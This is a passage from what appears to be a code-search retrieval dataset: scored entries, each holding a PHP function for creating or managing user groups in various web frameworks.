$group->group_public = true;\n else\n $group->group_public = false;\n\n $group->created_by = $request->session()->get('id');\n\n $group->group_image = 'defaultgroup.png';\n\n $group->group_description = $request->input('description');\n\n $group->save();\n\n $groupId = \\DB::table('groups')->select('id')->orderBy('id','desc')->first();\n\n\n\n Group::addUser($group->created_by, $groupId->id, true);\n\n $number = 1/*\\DB::table('partecipations')->select('*')->where('group_id',$groupId)->count()*/;\n return redirect('group?group_id='.$groupId->id)\n ->with('group_id',$groupId)\n ->with('name',$group->group_name)\n ->with('description',$group->group_description)\n ->with('group_image',$group->group_image)\n ->with('visibility',$group->group_public)\n ->with('partecipants',$number)\n ->with('is_amministrator',true);\n }", "title": "" }, { "docid": "2ab42b23941b27dde25c1535ffc437fd", "score": "0.65924495", "text": "public function createGroup($input)\n {\n // check fields\n\n $problems = array();\n \n if (empty($input['Group_']))\n {\n // name is not set:\n $problems['Group_'] = true;\n }\n \n if (empty($input['GroupDesc_']))\n {\n // Description is not set.\n $problems['GroupDesc_'] = true;\n }\n \n if (!isset($input['Type']) || !in_array($input['Type'], array('NeedAcceptance', 'NeedInvitation','Public')))\n {\n $problems['Type'] = true;\n }\n\n if (!empty($_FILES['group_image']) && empty($problems) && $_FILES['group_image']['tmp_name'] != '')\n {\n if ($picture = $this->handleImageUpload())\n {\n $input['Picture'] = $picture;\n }\n else\n {\n $problems['image'] = true;\n }\n }\n \n if (!empty($problems))\n {\n $group_id = false;\n }\n else\n {\n $group = $this->createEntity('Group');\n if (!$group->createGroup($input))\n {\n $group_id = false;\n $problems['General'] = true;\n }\n else\n {\n $group->memberJoin($this->getLoggedInMember(), 'In');\n $group_id = $group->id;\n $group->setDescription($input['GroupDesc_']);\n \n if (!$group->setGroupOwner($this->getLoggedInMember()))\n {\n // TODO: display error message and something about contacting admins\n $problems['General'] = true;\n $this->createEntity('Group', $group_id)->deleteGroup();\n $group_id = false;\n }\n }\n }\n\n return array(\n 'problems' => $problems,\n 'group_id' => $group_id\n );\n }", "title": "" }, { "docid": "d876d116a124c634b6e8866bd561d509", "score": "0.6585951", "text": "function create_group($title)\n\t{\n\t\t$data['title'] = $title;\n\t\tif (!$this->group_exists($title)) {\n\t\t\t$this->ci->db->insert($this->_tables['groups'], $data);\n\t\t\treturn $this->ci->db->insert_id();\n\t\t} else {\n\t\t\treturn $this->get_group_id($title);\n\t\t}\n\t\t\n\t}", "title": "" }, { "docid": "b209e96480c20f6a049d99d5cc84ba2d", "score": "0.65658134", "text": "public function create()\n\t{\n\t \n $status = Group::$status;\n\t return view('admin.group.create', compact(\"status\"));\n\t}", "title": "" }, { "docid": "4e7b667f0417b2170c9d11dc48de4161", "score": "0.65653825", "text": "public function create_by_group()\n {\n $title = trans('admin_exam.new_by_group');\n list($exam_types, $groups) = $this->generateParams();\n return view('admin_exam.create_by_group', compact('title', 'groups', 'exam_types'));\n }", "title": "" }, { "docid": "af0d3c2006356c967e85bac4c201c7f4", "score": "0.6558599", "text": "public function testCreateUserGroup()\n {\n $userGroup = self::$accountApi->createUserGroup(self::$USER_GROUP_CREATE_NAME);\n self::$USERS_GROUPS[] = $userGroup['id'];\n\n self::assertValidUserGroup(\n $userGroup,\n [\n 'name' => self::$USER_GROUP_CREATE_NAME\n ]\n );\n }", "title": "" }, { "docid": "f315d21dba94f62b680bb3cefdd03b69", "score": "0.6555292", "text": "public function create()\n {\n if (Auth::guest()) {\n App::abort(403, 'Unauthorized action.');\n }\n return view('group.create');\n }", "title": "" }, { "docid": "4d6fecc885a6473cf5ee73d8bd3188ca", "score": "0.6551254", "text": "public function create()\n {\n //\n return view('admin.windows_groups.create');\n }", "title": "" }, { "docid": "defac52fcd6e4715eb9cf376d2f431fb", "score": "0.6550804", "text": "public function create()\n {\n return view('backend.group.create');\n }", "title": "" }, { "docid": "87d58413cce4534e5afaf9293caa2621", "score": "0.6548798", "text": "public function actionCreate()\n {\n $model=new Group;\n\n // Uncomment the following line if AJAX validation is needed\n // $this->performAjaxValidation($model);\n\n if(isset($_POST['Group']))\n {\n $model->attributes=$_POST['Group'];\n if($model->save())\n $this->redirect(array('admin'));\n }\n\n $this->render('create',array(\n 'model'=>$model,\n ));\n }", "title": "" }, { "docid": "7fccc36fb7450d15f588bfdf2d177534", "score": "0.65443474", "text": "public function create()\n {\n $group = new Group();\n $group->is_side = false;\n return view('admin.group.create', compact('group'));\n }", "title": "" }, { "docid": "d38b23d1ffd7e8e40b4fce7f7b8cdd7a", "score": "0.65438193", "text": "public function createGroup($name)\n {\n return $this->group->create(compact('name'));\n }", "title": "" }, { "docid": "5e4bbed931f283cc210f1ff36d9b8d70", "score": "0.6529895", "text": "public function create_group($group_name, $definition = '') {\n\n\t\t$query = $this->aauth_db->get_where($this->config_vars['groups'], array('name' => $group_name));\n\n\t\tif ($query->num_rows() < 1) {\n\n\t\t\t$data = array(\n\t\t\t\t'name' => $group_name,\n\t\t\t\t'definition'=> $definition\n\t\t\t);\n\t\t\t$this->aauth_db->insert($this->config_vars['groups'], $data);\n\t\t\t$this->precache_groups();\n\t\t\treturn $this->aauth_db->insert_id();\n\t\t}\n\n\t\t$this->info($this->CI->lang->line('aauth_info_group_exists'));\n\t\treturn FALSE;\n\t}", "title": "" }, { "docid": "2f1a2ed20e0f82cf35e3f182a2ba9fcd", "score": "0.6526544", "text": "public function canCreateGroup() {\n\t}", "title": "" }, { "docid": "6786fcc548ab9ea4a37e97226c3085a7", "score": "0.6526299", "text": "public function store(CreateGroupRequest $request)\n {\n $group = new group;\n $group->name = $request->name;\n $group->slug = str_slug($request->name);\n $group->description = $request->description;\n $group->category_id = $request->category_id;\n $group->user_id = Auth::user()->id;\n\n $featured = $request->featured;\n $featured_new_name = time().$featured->getClientOriginalName();\n // $filePath = 'images/'.$featured_new_name;\n // Storage::disk('s3')->put($filePath,file_get_contents($featured));\n $featured->move('uploads/groups/',$featured_new_name);\n $group->featured = secure_asset('uploads/groups/'.$featured_new_name);\n\n $group->save();\n\n $group->plans()->attach($request->plan_id);\n\n Session::flash('success','新しいグループを作成しました!');\n return redirect(route('groups.index'));\n }", "title": "" }, { "docid": "55774b53431cd5f04b396e3fce6b19f5", "score": "0.652416", "text": "public function save() {\n $values = $this->request->getValues();\n list($valid, $errors) = $this->groupValidator->validateCreation($values);\n\n if ($valid) {\n // Store the last inserted id as groupId\n $group_id = $this->groupModel->create($values['name']);\n $user_id = $this->userSession->getId();\n if ($group_id !== false) {\n // Add current user as owner of the group\n $ownerError = $this->groupOwnerModel->addOwner($group_id, $user_id);\n if ($ownerError !== false) {\n // If checkbox has been checked, add current user as member of this new group\n if (isset($values['addOwnerToMembersList'])) {\n $this->groupMemberModel->addUser($group_id, $user_id);\n }\n $this->flash->success(t('Group created successfully.'));\n return $this->response->redirect($this->helper->url->to('GroupOwnersListController', 'index', array('plugin' => 'Group_owners')), true);\n }\n } else {\n $this->flash->failure(t('Unable to create your group.'));\n }\n }\n\n return $this->show($values, $errors);\n }", "title": "" }, { "docid": "d4a271641b5688c5d4cf34222b1db70a", "score": "0.65197444", "text": "function createGroup($groupname, $users)\n{\n $data = array(\n 'name' => $groupname,\n 'users' => $users,\n );\n $client = new Service_SmartFile_BasicClient(API_KEY, API_PWD);\n $response = $client->post('/group/', $data);\n}", "title": "" }, { "docid": "535a5386e0c4ef9c2cb448fb6c59d87b", "score": "0.6516911", "text": "public function create()\n {\n $this->authorize('create', new Group);\n\n return view('groups.create');\n }", "title": "" }, { "docid": "fd16c25e133c646122ca9c9ecacac04d", "score": "0.6511773", "text": "public function callGroupCreate($args) {\n $user_id = $args[0];\n $group = $args[1]; //group object\n\n $group->created_by = $user_id;\n\t\t$group->created_at = Util::millitime();\t\t\n\t\t$group->updated_at = Util::millitime();\n\t\t\n if (!is_array($group->member_ids)) {\n $group->member_ids = array();\n }\n\n if (!is_array($group->admin_ids)) {\n $group->admin_ids = array();\n }\n\n if (!in_array($user_id, $group->member_ids)) {\n $group->member_ids[] = $user_id;\n }\n\n if (!in_array($user_id, $group->admin_ids)) {\n $group->admin_ids[] = $user_id;\n }\n\n if (!empty($group->photo_base64)) {\n $group->photo_url = Util::uploadBase64($group->photo_base64,\n Constants::DEFAULT_UPLOAD_GROUP_PROFILE_DIR,\n $group->name,\n $group->photo_file_extension);\n }\n\n $group = $this->upsertFields($this->db->groups, $group, 'name', array('photo_base64'), true);\n\n //add the group in the user document\n $updateResult = $this->db->users->updateOne(\n ['user_id' => $user_id], ['$addToSet' => ['groups_belong' => $group->name]]\n );\n\n\t\treturn $this->serialized($group);\n }", "title": "" }, { "docid": "61a0a836011ff78724e1afaf62fa9308", "score": "0.65112627", "text": "public function create()\n\t{\n\t\treturn View::make('modulegroups.create');\n\t}", "title": "" }, { "docid": "0e6d993a350a81454eaa2741211b9ac2", "score": "0.6510978", "text": "public function postCreateGroup()\n {\n $input = array(\n 'name' => Input::get('name')\n );\n\n $valid = array(\n 'name' => 'required'\n );\n\n $v = Validator::make($input, $valid);\n if($v->fails()) {\n return Redirect::back()->withInput()->withErrors($v);\n }\n\n $group = new CommodityGroup(); \n $group->name = Input::get('name');\n $group->parent_id = Input::get('parent_id');\n $group->company_id = $this->_companyID;\n $group->status = 1;\n\n if($group->save()) {\n return Redirect::route('management.products.groups')->with('flashSuccess', 'Thêm mới nhóm hàng thành công!');\n }else {\n return Redirect::back()->with('flashError', 'Lỗi hệ thống, vui lòng thử lại!');\n }\n }", "title": "" }, { "docid": "436e94ea896c4a1f45d3991d83e965e7", "score": "0.65084904", "text": "public function create()\n {\n $visible_types = Group::VISIBLE_TYPES;\n\n $breadcrumbs = [\n 'Dashboard' => ['path' => admin_url(), 'active' => false],\n 'Groups' => ['path' => route('admin.groups.index'), 'active' => false],\n 'New Group' => ['path' => route('admin.groups.create'), 'active' => true]\n ];\n\n $breadcrumbs = breadcrumbs($breadcrumbs);\n\n return view('admin.groups.create', compact('visible_types', 'breadcrumbs'));\n }", "title": "" }, { "docid": "b7116dfce9d9392aebdc30ae5331be65", "score": "0.6504509", "text": "public function createGroup($groupname) {\n\t\t$stmt = $this->conn->prepare(\"INSERT INTO groups (name) VALUES(?)\");\n $stmt->bind_param(\"s\", $groupname);\n\n if ($stmt->execute()) {\n $groupID = mysqli_insert_id($this->conn);\n $stmt->close();\n return $groupID;\n \n } else {\n die(\"An error occurred performing a request\");\n }\n\t}", "title": "" }, { "docid": "5db15a352e130deaed44963d6feb50eb", "score": "0.64984804", "text": "function _AddGroup() {\n\t\t\t\n\t\t\t// Get external input values\n\t\t\t$GroupName = GetPostOrGet('group_name');\n\t\t\t$GroupDescription = GetPostOrGet('group_description');\n\t\t\t\n\t\t\t// Initialize a new instance of the formmaker\n\t\t\t$formMaker = new FormMaker($this->_Translation->GetTranslation('todo'), $this->_SqlConnection);\n\t\t\t$formMaker->AddForm('add_group', 'admin.php', $this->_Translation->GetTranslation('save'), $this->_Translation->GetTranslation('group'), 'post');\n\t\t\t\n\t\t\t$formMaker->AddHiddenInput('add_group', 'page', 'groups');\n\t\t\t$formMaker->AddHiddenInput('add_group', 'action', 'add_group');\n\t\t\t\n\t\t\t$formMaker->AddInput('add_group', 'group_name', 'text', $this->_Translation->GetTranslation('name'), $this->_Translation->GetTranslation('this_is_the_name_of_the_new_group'), $GroupName);\n\t\t\t$formMaker->AddCheck('add_group', 'group_name', 'empty', $this->_Translation->GetTranslation('a_groupname_must_be_indicated'));\n\t\t\t$formMaker->AddCheck('add_group', 'group_name', 'allready_assigned', $this->_Translation->GetTranslation('the_groupname_you_indicated_is_already_assigned'), '', 'groups', 'group_name');\n\t\t\t\n\t\t\t$formMaker->AddInput('add_group', 'group_description', 'text', $this->_Translation->GetTranslation('description'), $this->_Translation->GetTranslation('this_is_a_description_of_the_new_group'), $GroupDescription);\n\t\t\t$formMaker->AddCheck('add_group', 'group_description', 'empty', $this->_Translation->GetTranslation('a_groupdescription_musst_be_indicated'));\n\t\t\t\n\t\t\t// Check the inputs of the user for correctnes\n\t\t\tif ($formMaker->CheckInputs('add_group', true)) {\n\t\t\t\t\n\t\t\t\t// everything is correct so insert the new gorup into the database\n\t\t\t\t$sql = \"INSERT INTO \" . DB_PREFIX . \"groups\n\t\t\t\t\t\t(group_name, group_description)\n\t\t\t\t\t\tVALUES ('{$GroupName}', '{$GroupDescription}')\";\n\t\t\t\t$this->_SqlConnection->SqlQuery($sql);\n\t\t\t\t\n\t\t\t\t// Get the id of the new group from the database\n\t\t\t\t$sql = \"SELECT group_id\n\t\t\t\t\t\tFROM \" . DB_PREFIX . \"groups\n\t\t\t\t\t\tWHERE group_name='{$GroupName}' AND group_description='{$GroupDescription}'\";\n\t\t\t\t$result = $this->_SqlConnection->SqlQuery($sql);\n\t\t\t\t$group = mysql_fetch_object($result);\n\t\t\t\tmysql_free_result($result);\n\t\t\t\t\n\t\t\t\t// Set the user to view the new group and maybee to add some users to it\n\t\t\t\t$template = \"\\r\\n\\t\\t\\t\\t\" . $this->_ViewGroup($group->group_id);\n\t\t\t\treturn $template;\n\t\t\t}\n\t\t\telse {\n\t\t\t\t// Generate the template to correct the inputs\n\t\t\t\t$template = \"\\r\\n\\t\\t\\t\\t\" . $formMaker->GenerateSingleFormTemplate($this->_ComaLate, true);\n\t\t\t\treturn $template;\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "0754c20fc849fdd621743eb5d3d84ef1", "score": "0.6486444", "text": "public function create()\n\t{\n $groups = array(\"NULL\" => \"Нет\") + $this->materialGroups->lists('name', 'id');\n return $this->view('productgroups.create', array('groups' => $groups));\n\t}", "title": "" }, { "docid": "188daf77a67e63dc391e1501df77ac24", "score": "0.64822394", "text": "public function createGroup(Request $req)\n {\n\n // Validate request before saving\n $req->validate(\n [\n 'group_name' => 'required|max:45',\n ]\n );\n\n $userId = null;\n if (Auth::check()) {\n $userId = Auth::user()->id;\n }\n\n $users = User::all();\n $creator = User::find($userId);\n\n $group = new Group();\n $group->name = encrypt($req->group_name);\n\n $group->save();\n\n // Attach creator to the group\n $group->users()->attach($creator);\n\n $data = [\n 'users' => $users,\n 'userId' => $userId,\n 'group' => $group\n ];\n\n\n return view('groups/creategroup')->with($data);\n }", "title": "" }, { "docid": "1581ba4490cec28b44893c1c8c2a870b", "score": "0.64805675", "text": "public function create_course_group()\n {\n $this->rights = array();\n $this->rights[] = WeblcmsRights::VIEW_RIGHT;\n $this->rights[] = WeblcmsRights::ADD_RIGHT;\n $this->rights[] = WeblcmsRights::MANAGE_CATEGORIES_RIGHT;\n\n $course_group = $this->course_group;\n $course_code = $course_group->get_course_code();\n $values = $this->exportValues();\n $new_titles = preg_grep('/^name*[0-9]*$/', array_keys($values));\n $qty = sizeof($new_titles);\n $groups = array();\n\n // check parent's max size >= combined total size of parent's children (could be more than just this group)\n // new children size\n\n $new_max_size = $values[CourseGroup::PROPERTY_MAX_NUMBER_OF_MEMBERS] * $qty;\n\n $parent_group_select = $values[self::PARENT_GROUP_SELECTION];\n $parent_group_id = null;\n $parent_group = null;\n\n switch ($parent_group_select)\n {\n case self::OPTION_PARENT_GROUP_NONE :\n $parent_course_group = DataManager::retrieve_course_group_root($course_code);\n// if (!$this->check_parent_max_members($parent_course_group, $new_max_size))\n// {\n// return false;\n// }\n\n $parent_group_id = $parent_course_group->getId();\n $values[CourseGroup::PROPERTY_PARENT_ID] = $parent_group_id;\n $groups = $this->construct_course_groups($new_titles, $course_code, $values);\n break;\n case self::OPTION_PARENT_GROUP_EXISTING :\n $parent_group_id = $values[CourseGroup::PROPERTY_PARENT_ID];\n\n /** @var CourseGroup $parent_course_group */\n $parent_course_group = DataManager::retrieve_by_id(CourseGroup::class_name(), $parent_group_id);\n// if (!$this->check_parent_max_members($parent_course_group, $new_max_size))\n// {\n// return false;\n// }\n $groups = $this->construct_course_groups($new_titles, $course_code, $values);\n break;\n case self::OPTION_PARENT_GROUP_NEW :\n\n $parent_values = array();\n $parent_values[CourseGroup::PROPERTY_NAME] = $values['parent_' . CourseGroup::PROPERTY_NAME];\n $parent_values[CourseGroup::PROPERTY_DESCRIPTION] = $values['parent_' . CourseGroup::PROPERTY_NAME];\n $parent_values[CourseGroup::PROPERTY_MAX_NUMBER_OF_COURSE_GROUP_PER_MEMBER] = $values['parent_' .\n CourseGroup::PROPERTY_MAX_NUMBER_OF_COURSE_GROUP_PER_MEMBER];\n $parent_values[CourseGroup::PROPERTY_MAX_NUMBER_OF_MEMBERS] = 0;\n $parent_values[CourseGroup::PROPERTY_SELF_REG] = false;\n $parent_values[CourseGroup::PROPERTY_SELF_UNREG] = false;\n $parent_values[CourseGroup::PROPERTY_PARENT_ID] =\n DataManager::retrieve_course_group_root($course_code)->getId();\n\n $parent_group = $this->construct_course_group(CourseGroup::PROPERTY_NAME, $course_code, $parent_values);\n\n if ($this->course_group_name_exists($parent_group))\n {\n $this->course_group->add_error(\n Translation::getInstance()->getTranslation(\n 'CourseGroupTitleExists', array('NAME' => $parent_group->get_name())\n )\n );\n }\n\n if (!$parent_group->create())\n {\n $course_group->add_error(\n Translation::getInstance()->getTranslation(\n 'CannotCreateCourseGroup', array('NAME' => $parent_group->get_name())\n )\n );\n }\n\n $parent_group_id = $parent_group->getId();\n $values[CourseGroup::PROPERTY_PARENT_ID] = $parent_group_id;\n $groups = $this->construct_course_groups($new_titles, $course_code, $values);\n break;\n }\n\n if ($parent_group_id)\n {\n $parent_group = DataManager::retrieve_by_id(CourseGroup::class_name(), $parent_group_id);\n }\n else\n {\n $parent_group = DataManager::retrieve_course_group_root($course_code);\n }\n if (sizeof($groups) > 0)\n {\n $groupsWithRandomSubscriptions = [];\n\n foreach ($groups as $course_group)\n {\n if (!$this->course_group_name_exists($course_group))\n {\n if ($course_group->create())\n {\n $this->courseGroupDecoratorsManager->createGroup($course_group, $this->currentUser, $values);\n\n if (isset($values, $values[CourseGroup::PROPERTY_RANDOM_REG]))\n {\n $groupsWithRandomSubscriptions[] = $course_group;\n }\n }\n else\n {\n $course_group->add_error(\n Translation::getInstance()->getTranslation(\n 'CreationFailed', array('NAME' => $course_group->get_name())\n )\n );\n }\n }\n else\n {\n $this->course_group->add_error(\n Translation::getInstance()->getTranslation(\n 'CourseGroupTitleExists', array('NAME' => $course_group->get_name())\n )\n );\n }\n }\n\n $randomizer = new SubscriptionRandomizer($this->courseGroupDecoratorsManager);\n $randomizer->subscribeRandomUsersInCourseGroups($groupsWithRandomSubscriptions, $parent_group);\n }\n\n return !$this->course_group->has_errors();\n }", "title": "" }, { "docid": "79709f0014c2b6ce297236399d78dca3", "score": "0.64785576", "text": "public function fb_create_group($user = null)\n {\n $user = $user ?? auth()->user();\n\n // Using CLI: cannot create group\n if (!$user) {\n return;\n }\n\n $deviceId = $user->fb_device_id;\n if (!$deviceId) {\n Log::warning(\"FB: Active user doesn't have a valid fb_device_id, cannot create Firebase group!\");\n return;\n }\n\n // Perform the Firebase request with the required parameters\n $response = fb_curl_post([\n \"operation\" => \"create\",\n \"notification_key_name\" => $this->code,\n \"registration_ids\" => [$deviceId],\n ]);\n\n // Log result of the Firebase request\n if ($response && !isset($response->error)) {\n Log::info(\"FB: Firebase group creation for store {$this->code} completed with response \" . print_r($response, true));\n $this->fb_notification_key = $response->notification_key;\n $this->save();\n } else {\n Log::error(\"FB: Firebase group creation for store {$this->code} failed with response \" . print_r($response, true));\n }\n }", "title": "" }, { "docid": "7736f5bbd3652bd35f572b732d2f3127", "score": "0.647738", "text": "public function create($groupname, $defaultgroup = 0)\n {\n global $client, $lang;\n\n $client = Contenido_Security::toInteger($client);\n $lang = Contenido_Security::toInteger($lang);\n\n $group = new RecipientGroup();\n\n #$_arrInFilters = array('urlencode', 'htmlspecialchars', 'addslashes');\n\n $mangledGroupName = $group->_inFilter($groupname);\n $this->setWhere(\"idclient\", $client);\n $this->setWhere(\"idlang\", $lang);\n $this->setWhere(\"groupname\", $mangledGroupName);\n $this->query();\n\n if ($obj = $this->next()) {\n $groupname = $groupname . md5(rand());\n }\n\n $item = parent::create();\n\n $item->set(\"idclient\", $client);\n $item->set(\"idlang\", $lang);\n $item->set(\"groupname\", $groupname);\n $item->set(\"defaultgroup\", $defaultgroup);\n $item->store();\n\n return $item;\n }", "title": "" }, { "docid": "14a4ebd59ba3a4875266328166c550d7", "score": "0.6465518", "text": "public function create()\n {\n return view('admin.groups.create');\n }", "title": "" }, { "docid": "14a4ebd59ba3a4875266328166c550d7", "score": "0.6465518", "text": "public function create()\n {\n return view('admin.groups.create');\n }", "title": "" }, { "docid": "5ff26da67dae4be1a8171a1283f0e8e8", "score": "0.64491665", "text": "public function xgroupCreate($key, $groupname, $id) {\n return $this->returnCommand(['XGROUP'], [$key], ['CREATE', $key, $groupname, $id]);\n }", "title": "" }, { "docid": "ebabca66e5f643776a265a3c6d9b1f94", "score": "0.6442504", "text": "function openlab_set_group_creation_steps() {\n\t$steps = array(\n\t\t'group-details' => array(\n\t\t\t'name' => __( 'Group Details', 'cbox-openlab-core' ),\n\t\t\t'position' => 10,\n\t\t),\n\t\t'site-details' => array(\n\t\t\t'name' => __( 'Associated Site', 'cbox-openlab-core' ),\n\t\t\t'position' => 20,\n\t\t),\n\t\t'invite-anyone' => array(\n\t\t\t'name' => __( 'Invite Members', 'cbox-openlab-core' ),\n\t\t\t'position' => 30,\n\t\t),\n\t);\n\tbuddypress()->groups->group_creation_steps = $steps;\n}", "title": "" }, { "docid": "05e60d3a67b682b446b10f9889e855b0", "score": "0.6426601", "text": "public function store(Request $request)\n {\n //if the user is creating a private group or not\n if($request->get('is_private') == 1)\n $this->validate($request,Group::$rules);\n else{\n $this->validate($request,Group::$rulesPublic);\n }\n //validate name make sure it doesnt exist\n $name = Group::where('title',$request->get('title'))->first();\n\n if($name != null)\n return \"Group name has already been taken.\";\n $group = new Group();\n $group->title = $request->get('title');\n\n $group->is_private = $request->get('is_private');\n\n if($request->get('img_url') != \"\")\n $group->img_url = $request->get('img_url');\n //defaut img\n else{\n // $group->img_url = '/img/group-banners/gb1.jpg';\n $group->img_url = Group::getRandomImg();\n }\n\n if($request->get('password') == $request->get('confirmPassword'))\n $group->password = Hash::make($request->get('password')) ;\n else{\n return \"Passoword combination do not match\";\n }\n // $group->description = $request->get('description'); \n $group->save();\n\n\n //creating the fields on the pivot table \n //making sure the new group created is part of the private groups\n //and making user owner\n $userGroup = new UserGroup();\n $userGroup->user_id = Auth::user()->id;\n $userGroup->group_id = $group->id;\n $userGroup->is_owner = 1;//group creator is only owner\n $userGroup->save();\n }", "title": "" }, { "docid": "89fb402cc8afe9b8e00aa0a7319f89af", "score": "0.6422793", "text": "function NasAccessGroupAdd($m)\n{\n\tglobal $g;\n\t\n\t$d_sysrebootreqd_path = $g['varrun_path'] . \"/sysreboot.reqd\";\n\n\tif (file_exists($d_sysrebootreqd_path))\n\t{\n\t\t$returnmsg = Nas2BMsg(\"fail\",\"Please reboot NAS first!\");\t\t\n\t\treturn new xmlrpcresp(php_xmlrpc_encode($returnmsg));\t\t\n\t}\n\n\tglobal $config;\n\t\n\t$groupname = $m->getParam(0);\n\t$groupname = $groupname->scalarVal();\n\t$groupdesc = $m->getParam(1);\n\t$groupdesc = $groupdesc->scalarVal();\n\n\tif(!is_domain($groupname))\n\t{\n\t\t$returnmsg = Nas2BMsg(\"fail\",\"Invalid group name!\");\n\t\treturn new xmlrpcresp(php_xmlrpc_encode($returnmsg));\n\t}\n\n\tif(!is_validdesc($groupdesc))\n\t{\n\t\t$returnmsg = Nas2BMsg(\"fail\",\"Invalid group description!\");\n\t\treturn new xmlrpcresp(php_xmlrpc_encode($returnmsg));\n\t}\n\n\tif (!is_array($config['access']['group']))\n\t\t$config['access']['group'] = array();\n\n\tarray_sort_key($config['access']['group'], \"name\");\n\n\t$a_group = &$config['access']['group'];\n\t$a_group_system = system_get_group_list();\n\n\n\t// Check for name conflicts. Only check if group is created.\n\tif ((false !== array_search_ex($groupname,$a_group,\"name\"))\n\t|| (is_array($a_group_system) && array_key_exists($groupname, $a_group_system))) \n\t{\n\t\t$returnmsg = Nas2BMsg(\"fail\",\"Repeated group name!\");\n\t\treturn new xmlrpcresp(php_xmlrpc_encode($returnmsg));\n\t}\n\n\n\t$groups['uuid'] = uuid();\n\t$groups['id'] = get_nextgroup_id();\n\t$groups['name'] = $groupname;\n\t$groups['desc'] = $groupdesc;\n\t\n\t$a_group[] = $groups;\n\twrite_config();\n\n\t$retval = 0;\n\t\n\tconfig_lock();\n\t$retval |= rc_exec_service(\"userdb\");\n\tconfig_unlock();\n\n\tif(!$retval)\n\t{\n\t\t$returnmsg = Nas2BMsg(\"success\",\"Group add success!\");\n\t}\n\telse\n\t{\n\t\t$returnmsg = Nas2BMsg(\"fail\",\"Group add fail!\");\n\t}\n\t\n\treturn new xmlrpcresp(php_xmlrpc_encode($returnmsg));\n\n}", "title": "" }, { "docid": "1d27473580b7efd970488d5d53f60cc6", "score": "0.64197063", "text": "function add_group() {\r\n\t\t\r\n\t\t$this->Fields(array\n\t\t\t\t(\n\t\t\t\t\t\t\"title\"=>$this->_group_title,\n\t\t\t\t\t\t\"description\"=>$this->_group_description,\r\n\t\t\t\t\t\t\"group_image\"=>$this->_group_image,\n\t\t\t\t\t\t\"created_by\"=>$this->_created_by,\n\t\t\t\t\t\t\"created_on\"=>$this->_created_on\n\t\t\t\t)\n\t\t);\n\t\t\n\t\t$this->From(\"group_details\");\n\t\t$this->Insert();\n\t\techo $this->lastQuery();\r\n\t\techo (mysql_error());\n\r\n\t}", "title": "" }, { "docid": "dd817ad53268913cbb61409051cd1e42", "score": "0.6414422", "text": "public function testCreatingUserGroup()\n {\n $data = ['name' => 'Admin'];\n\n $response = $this->json('POST', 'api/user-group', $data);\n $response->assertStatus(201);\n $response->assertJsonStructure([\n 'id',\n 'name',\n 'created_at',\n 'updated_at'\n ]);\n }", "title": "" }, { "docid": "4bb1df18aed423288fdfc1bbe672c3f8", "score": "0.64113206", "text": "public function createGroup($groupname, $groupdesc, $userid)\n\t{\n\t\t// $sql = \"INSERT INTO userdetails (fullname, username, password) VALUES ('$name', '$username', '$password')\";\n\t\t$sql = \"INSERT INTO groups (groupname, groupdesc, userid) VALUES ('$groupname', '$groupdesc', '$userid')\";\n\t\t$stmt = $this->db->query($sql);\n \t$count = $stmt->rowCount();\n\t}", "title": "" }, { "docid": "881731ee077d08a388ea7df1ea99c2d0", "score": "0.6398367", "text": "public function create()\n {\n $avatarUrl = Storage::url('public/default/default-group.svg');\n return view('group.group_create', compact('avatarUrl'));\n }", "title": "" }, { "docid": "82b7b64e88310451f85c291307f7fec5", "score": "0.63954186", "text": "function eventAddUserGroup(){\n\t\tif(!security::hasAccess(\"Edit User Groups\"))\n\t\t\treturn;\n\n\t\t$groupname = $this->getData(\"newGroup\");\n\n\t\t$existingId = userGroup::getUserGroupIdByName($groupname);\n\t\tif(isset($existingId)){\n\t\t\t$this->setEventResult(false, \"Group with same name already exists\");\n\t\t\treturn;\n\t\t}\n\t\t$group = new userGroup();\n\t\t$group->name = $groupname;\n\t\t$group->saveNew();\n\t\t$this->setEventResult(true, \"New Usergroup Created\");\n\t}", "title": "" }, { "docid": "9e00d3e0514f3779f725a3dec9a91480", "score": "0.63914025", "text": "function store (Request $request)\n {\n Group::create([\n 'name' => $request->groupName,\n 'user_id' => Auth::id()\n ]);\n return back();\n }", "title": "" }, { "docid": "57a231dbe36e104897288485e32eb41b", "score": "0.6364036", "text": "public function createLogicalGroup(){\n\t\t\t$this->form_validation->set_rules('group_name', 'Group Name', 'required|is_unique[logical_group.logical_group_name]');\n\t\t\t$this->form_validation->set_rules('environment_id', 'Environment Name', 'required');\n\t\t\t$this->form_validation->set_rules('testcase_id[]', 'Test Cases', 'required');\n\t\t\t\n\t\t\tif ($this->form_validation->run() == FALSE)\n {\t\t\n\t\t\t\t\t\techo validation_errors();\n\t\t\t\t}\n\t\t\t\telse{\t\t\n\t\t\t\t\t\techo $this->test_model->saveLogical_group();\n\t\t\t\t}\n\t}", "title": "" }, { "docid": "a6408b990c8ac626bf849b57b99c85f7", "score": "0.6363461", "text": "public function testCreateGroup()\n {\n\n }", "title": "" }, { "docid": "027b96c36354b5173f23fa5e846d2312", "score": "0.63630044", "text": "public function create()\n {\n return View::make('user::group.create');\n }", "title": "" }, { "docid": "abea3e180a12d4e9225511bfd36f3ac2", "score": "0.6361131", "text": "public function addGroup()\n {\n $project = $this->getProject();\n $values = $this->request->getValues();\n\n if (empty($values['group_id']) && ! empty($values['external_id'])) {\n $values['group_id'] = $this->groupModel->getOrCreateExternalGroupId($values['name'], $values['external_id']);\n }\n\n if (empty($values['group_id'])) {\n $this->flash->failure(t('Unable to find this group.'));\n } else {\n if ($this->projectGroupRoleModel->addGroup($project['id'], $values['group_id'], $values['role'])) {\n $this->flash->success(t('Project updated successfully.'));\n } else {\n $this->flash->failure(t('Unable to update this project.'));\n }\n }\n\n $this->response->redirect($this->helper->url->to('ProjectPermissionController', 'index', array('project_id' => $project['id'])));\n }", "title": "" }, { "docid": "6d6ad945237c00fddee9580d96254cdf", "score": "0.636073", "text": "public function run()\n {\n Groups::create([\n ]);\n }", "title": "" }, { "docid": "28b6ec1cb4b1a342e564f0b1fd50d3ee", "score": "0.6358021", "text": "public function create_user_groups()\n\t{\n\t\t$admin_group = null;\n\n\t\ttry\n\t\t{\n\t\t\t$admin_group = $this->sentry->createGroup($this->groups['administrator']);\n\t\t\t$this->sentry->createGroup($this->groups['owner']);\n\t\t\t$this->sentry->createGroup($this->groups['moderator']);\n\t\t}\n\t\tcatch (NameRequiredException $e)\n\t\t{\n\t\t\t$this->abort_command('Name field is required');\n\t\t}\n\t\tcatch (GroupExistsException $e)\n\t\t{\n\t\t\t$this->abort_command('Group already 